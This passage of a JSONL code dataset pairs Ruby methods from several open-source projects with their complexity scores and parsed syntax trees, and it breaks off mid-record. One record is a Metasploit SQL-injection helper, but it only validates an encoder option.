+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/mssqli/common.rb","start_line":241,"raw_source":"def check_opts(opts)\n unless opts[:encoder].nil? || opts[:encoder].is_a?(Hash) || ENCODERS[opts[:encoder].downcase.intern]\n raise ArgumentError, 'Unsupported encoder'\n end\n\n super\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_opts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENCODERS\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"encoder\"]}]},\"downcase\"]},\"intern\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Unsupported encoder\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"581b9df6-8da5-4245-be74-683b6d2a27a6"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/packages/nuget/presenter_helpers.rb","start_line":28,"raw_source":"def archive_url_for(package)\n package_filename = package.installable_nuget_package_files\n .last\n &.file_name\n path = api_v4_projects_packages_nuget_download_package_name_package_version_package_filename_path(\n {\n id: package.project_id,\n package_name: package.name,\n package_version: package.version,\n package_filename: package_filename\n },\n true\n )\n\n expose_url(path)\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"archive_url_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"package_filename\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"installable_nuget_package_files\"]},\"last\"]},\"file_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"api_v4_projects_packages_nuget_download_package_name_package_version_package_filename_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package\"]},\"version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_filename\"]},{\"type\":\"lvar\",\"children\":[\"package_filename\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"expose_url\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"2c6fd82c-032c-4d1e-a9c1-522f8ef84945"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/exceed_query_limit.rb","start_line":174,"raw_source":"def diff_query_counts(expected, actual)\n QueryDiff.new(expected, actual, @show_common_queries).diff\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_query_counts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"expected\"]},{\"type\":\"arg\",\"children\":[\"actual\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QueryDiff\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]},{\"type\":\"ivar\",\"children\":[\"@show_common_queries\"]}]},\"diff\"]}]}","id":"27871edc-7587-454f-b63d-9ca9d509f7c0"}
+{"repo_name":"puma","file_path":"./repos/puma/test/test_integration_single.rb","start_line":73,"raw_source":"def test_term_suppress\n skip_unless_signal_exist? :TERM\n\n cli_server \"-C test/config/suppress_exception.rb test/rackup/hello.ru\"\n _, status = stop_server\n\n assert_equal 0, status\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_term_suppress\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless_signal_exist?\",{\"type\":\"sym\",\"children\":[\"TERM\"]}]},{\"type\":\"send\",\"children\":[null,\"cli_server\",{\"type\":\"str\",\"children\":[\"-C test/config/suppress_exception.rb test/rackup/hello.ru\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"stop_server\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"5517dea1-600f-41bd-ad54-a618522586dd"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/json_shared_test_cases.rb","start_line":56,"raw_source":"def test_type_cast_json\n type = klass.type_for_attribute(\"payload\")\n\n data = '{\"a_key\":\"a_value\"}'\n hash = type.deserialize(data)\n assert_equal({ \"a_key\" => \"a_value\" }, hash)\n assert_equal({ \"a_key\" => \"a_value\" }, type.deserialize(data))\n\n assert_equal({}, type.deserialize(\"{}\"))\n assert_equal({ \"key\" => nil }, type.deserialize('{\"key\": null}'))\n assert_equal({ \"c\" => \"}\", '\"a\"' => 'b \"a b' }, type.deserialize(%q({\"c\":\"}\", \"\\\"a\\\"\":\"b \\\"a b\"})))\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_type_cast_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"type_for_attribute\",{\"type\":\"str\",\"children\":[\"payload\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"{\\\"a_key\\\":\\\"a_value\\\"}\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a_key\"]},{\"type\":\"str\",\"children\":[\"a_value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a_key\"]},{\"type\":\"str\",\"children\":[\"a_value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"str\",\"children\":[\"{}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"key\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"str\",\"children\":[\"{\\\"key\\\": null}\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"c\"]},{\"type\":\"str\",\"children\":[\"}\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"a\\\"\"]},{\"type\":\"str\",\"children\":[\"b \\\"a b\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"str\",\"children\":[\"{\\\"c\\\":\\\"}\\\", \\\"\\\\\\\"a\\\\\\\"\\\":\\\"b \\\\\\\"a b\\\"}\"]}]}]}]}]}","id":"2555a772-ed28-49b0-b0e0-933bd0c6a20b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/service_desk/custom_email_controller.rb","start_line":21,"raw_source":"def update\n response = ServiceDeskSettings::UpdateService.new(project, current_user, update_setting_params).execute\n\n if response.error?\n json_response(\n error_message: s_(\"ServiceDesk|Cannot update custom email\"),\n status: :unprocessable_entity\n )\n return\n end\n\n json_response\n end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceDeskSettings\"]},\"UpdateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"update_setting_params\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"error?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_response\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"ServiceDesk|Cannot update custom email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"json_response\"]}]}]}","id":"cb350392-04f1-4b5e-be92-f3c01f10cad7"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/loggers.rb","start_line":90,"raw_source":"private_class_method def self.configure_external_loggers\n require 'awesome_spawn'\n AwesomeSpawn.logger = $log\n\n require 'inventory_refresh'\n InventoryRefresh.logger = $log\n end","complexity_score":4.8,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private_class_method\",{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"configure_external_loggers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"awesome_spawn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AwesomeSpawn\"]},\"logger=\",{\"type\":\"gvar\",\"children\":[\"$log\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"inventory_refresh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InventoryRefresh\"]},\"logger=\",{\"type\":\"gvar\",\"children\":[\"$log\"]}]}]}]}]}","id":"eb17cfb7-b790-417c-ba27-9fcf4ee29c01"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache/metrics.rb","start_line":15,"raw_source":"def increment_cache_hit(labels = {})\n counter.increment(base_labels.merge(labels, cache_hit: true))\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_cache_hit\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"counter\"]},\"increment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_labels\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"labels\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"e4c1d64c-205d-4d4f-a5d4-4f9cd991cf7b"}
+{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/log_file.rb","start_line":146,"raw_source":"def self.do_ping?\n ::Settings.log.collection.ping_depot == true\n end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"do_ping?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"log\"]},\"collection\"]},\"ping_depot\"]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}","id":"09db6c42-2edd-4e75-b834-c0a659a1ac62"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_stripper.rb","start_line":7,"raw_source":"def self.strip(nokogiri_fragment)\n run_core_strippers(nokogiri_fragment)\n run_plugin_strippers(nokogiri_fragment)\n nokogiri_fragment\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"strip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nokogiri_fragment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_core_strippers\",{\"type\":\"lvar\",\"children\":[\"nokogiri_fragment\"]}]},{\"type\":\"send\",\"children\":[null,\"run_plugin_strippers\",{\"type\":\"lvar\",\"children\":[\"nokogiri_fragment\"]}]},{\"type\":\"lvar\",\"children\":[\"nokogiri_fragment\"]}]}]}","id":"c99b753e-0166-48d5-b5a1-dcec4af1ea94"}
+{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/rescuable_test.rb","start_line":140,"raw_source":"def test_rescue_from_with_block_with_args\n @stargate.dispatch :ronanize\n assert_equal \"dex\", @stargate.result\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rescue_from_with_block_with_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stargate\"]},\"dispatch\",{\"type\":\"sym\",\"children\":[\"ronanize\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"dex\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stargate\"]},\"result\"]}]}]}]}","id":"a05aacaa-8ab7-4158-a66b-a0a5ea3eff52"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/sorting_preference.rb","start_line":39,"raw_source":"def set_sort_order_from_user_preference(field = sorting_field)\n return unless current_user\n return unless field\n\n user_preference = current_user.user_preference\n\n sort_param = pagination_params[:sort]\n sort_param ||= user_preference[field]\n\n return sort_param if Gitlab::Database.read_only?\n\n user_preference.update(field => sort_param) if user_preference[field] != sort_param\n\n sort_param\n end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"set_sort_order_from_user_preference\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"field\",{\"type\":\"send\",\"children\":[null,\"sorting_field\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"user_preference\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"user_preference\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sort_param\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pagination_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sort_param\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_preference\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"read_only?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort_param\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_preference\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"field\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"sort_param\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_preference\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},{\"type\":\"lvar\",\"children\":[\"sort_param\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"sort_param\"]}]}]}","id":"a3e2a68f-c9ba-400e-aed1-8b3a1fb4ca9d"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/table.rb","start_line":54,"raw_source":"def group(*columns)\n from.group(*columns)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from\"]},\"group\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]}]}]}]}","id":"4e6144de-4b11-4955-939e-ff0484dad123"}
+{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/google_sheets/client.rb","start_line":120,"raw_source":"def column_index_to_letter(index)\n (\"A\"..\"ZZZ\").to_a[index - 1]\n end","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"column_index_to_letter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"str\",\"children\":[\"A\"]},{\"type\":\"str\",\"children\":[\"ZZZ\"]}]}]},\"to_a\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"3addf66d-6561-42de-852d-489d504f06c7"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/group_show_serializer.rb","start_line":133,"raw_source":"def include_associated_group_ids?\n scope.can_associate_groups?\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_associated_group_ids?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_associate_groups?\"]}]}","id":"bad1de9e-b961-41d1-9970-7ae7e0289027"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/router_test.rb","start_line":263,"raw_source":"def test_generate_extra_params\n get \"/:controller(/:action)\", to: \"foo#bar\"\n\n path, params = _generate(\n nil, { id: 1,\n controller: \"tasks\",\n action: \"show\",\n relative_url_root: nil\n }, {})\n assert_equal \"/tasks/show\", path\n assert_equal({ id: \"1\" }, params)\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_extra_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/:controller(/:action)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"foo#bar\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\"]},{\"type\":\"lvasgn\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[null,\"_generate\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"tasks\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"show\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_url_root\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/tasks/show\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"92810428-6251-4fc9-948c-ab7c8e561b3b"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/callbacks/crm_contacts.rb","start_line":58,"raw_source":"def operation_mode_attribute\n @operation_mode_attribute = OPERATION_MODES[params[:operation_mode] || 'REPLACE']\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"operation_mode_attribute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@operation_mode_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OPERATION_MODES\"]},\"[]\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"operation_mode\"]}]},{\"type\":\"str\",\"children\":[\"REPLACE\"]}]}]}]}]}","id":"2e48381a-4e72-4e3c-bd4f-110d43f89f80"}
+{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/bulk_assign_role_controller.rb","start_line":6,"raw_source":"def assign_role\n if permitted_params[:role].blank?\n raise ArgumentError,\n I18n.t(\"admin.bulk_assign_role_controller.role_blank\")\n end\n\n role = permitted_params[:role]\n usernames = permitted_params[:usernames].downcase.split(/\\s*,\\s*/)\n note = permitted_params[:note_for_current_role].presence\n note ||= I18n.t(\"admin.bulk_assign_role_controller.role_assigment\", role: role)\n\n begin\n usernames.each do |username|\n user = User.find_by(username: username)\n user_action_status = user_action_status(user, role)\n if user\n Moderator::ManageActivityAndRoles.handle_user_roles(\n admin: current_user,\n user: user,\n user_params: { user_status: role, note_for_current_role: note },\n )\n end\n\n AuditLog.create(\n category: \"admin.bulk_assign_role.add_role\",\n user: current_user,\n roles: current_user.roles_name,\n slug: \"bulk_assign_role\",\n data: {\n role: role,\n username: username,\n user_action_status: user_action_status\n },\n )\n end\n flash[:success] = I18n.t(\"admin.bulk_assign_role_controller.success_message\")\n rescue StandardError => e\n flash[:danger] = e.message\n end\n redirect_to admin_bulk_assign_role_index_path\n rescue ArgumentError => e\n flash[:danger] = e.message\n redirect_to admin_bulk_assign_role_index_path\n end","complexity_score":69.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"role\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.bulk_assign_role_controller.role_blank\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"role\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"role\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"usernames\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"usernames\"]}]},\"downcase\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s*,\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"note_for_current_role\"]}]},\"presence\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"note\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.bulk_assign_role_controller.role_assigment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usernames\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_action_status\",{\"type\":\"send\",\"children\":[null,\"user_action_status\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Moderator\"]},\"ManageActivityAndRoles\"]},\"handle_user_roles\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_status\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note_for_current_role\"]},{\"type\":\"lvar\",\"children\":[\"note\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuditLog\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"admin.bulk_assign_role.add_role\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"roles\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"roles_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"s